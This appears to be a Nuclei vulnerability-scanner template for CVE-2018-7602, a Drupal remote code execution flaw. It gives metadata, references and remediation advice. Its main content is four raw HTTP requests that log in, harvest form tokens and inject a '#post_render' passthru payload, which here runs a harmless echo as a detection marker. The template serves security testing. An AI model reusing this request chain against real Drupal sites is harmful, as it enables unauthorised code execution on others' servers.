87 lines
3.3 KiB
YAML
87 lines
3.3 KiB
YAML
id: CVE-2018-7602
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info:
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name: Drupal - Remote Code Execution
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author: princechaddha
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severity: critical
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description: Drupal 7.x and 8.x contain a remote code execution vulnerability that exists within multiple subsystems. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being compromised. This vulnerability is related to Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002. Both SA-CORE-2018-002 and this vulnerability are being exploited in the wild.
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impact: |
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Remote attackers can execute arbitrary code on the affected Drupal installations.
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remediation: |
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Upgrade to Drupal 7.58, 8.3.9, 8.4.6, or 8.5.1 or apply the necessary patches provided by Drupal.
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reference:
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- https://github.com/vulhub/vulhub/blob/master/drupal/CVE-2018-7602/drupa7-CVE-2018-7602.py
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- https://nvd.nist.gov/vuln/detail/CVE-2018-7602
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- https://www.drupal.org/sa-core-2018-004
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- https://www.exploit-db.com/exploits/44557/
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- http://www.securitytracker.com/id/1040754
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2018-7602
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epss-score: 0.97448
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epss-percentile: 0.99947
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cpe: cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*
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metadata:
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max-request: 4
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vendor: drupal
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product: drupal
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shodan-query: http.component:"drupal"
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tags: cve,cve2018,drupal,authenticated,kev,vulhub,edb
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http:
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- raw:
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- |
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POST /?q=user%2Flogin HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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form_id=user_login&name={{username}}&pass={{password}}&op=Log+in
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- |
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GET /?q={{url_encode("{{userid}}")}}%2Fcancel HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /?q={{url_encode("{{userid}}")}}%2Fcancel&destination={{url_encode("{{userid}}")}}%2Fcancel%3Fq%5B%2523post_render%5D%5B%5D%3Dpassthru%26q%5B%2523type%5D%3Dmarkup%26q%5B%2523markup%5D%3Decho+COP-2067-8102-EVC+|+rev HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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form_id=user_cancel_confirm_form&form_token={{form_token}}&_triggering_element_name=form_id&op=Cancel+account
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- |
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POST /?q=file%2Fajax%2Factions%2Fcancel%2F%23options%2Fpath%2F{{form_build_id}} HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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form_build_id={{form_build_id}}
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host-redirects: true
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max-redirects: 2
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matchers:
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- type: word
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words:
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- 'CVE-2018-7602-POC'
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extractors:
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- type: regex
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name: userid
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group: 1
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regex:
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- '<meta about="([/a-z0-9]+)" property="foaf'
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internal: true
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part: body
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- type: regex
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name: form_token
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group: 1
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regex:
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- '<input type="hidden" name="form_token" value="(.*)" />'
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internal: true
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part: body
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- type: regex
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name: form_build_id
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group: 1
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regex:
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- '<input type="hidden" name="form_build_id" value="(.*)" />'
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internal: true
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part: body
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# digest: 4a0a0047304502204dec12f369a9044e8dc3ba9c641723199442f60a3736e83f89caca37cd8118b5022100cda38fa6e52e8717c3073dff9123fc3707428e477982dd4549e372892f2a082e:922c64590222798bb761d5b6d8e72950 |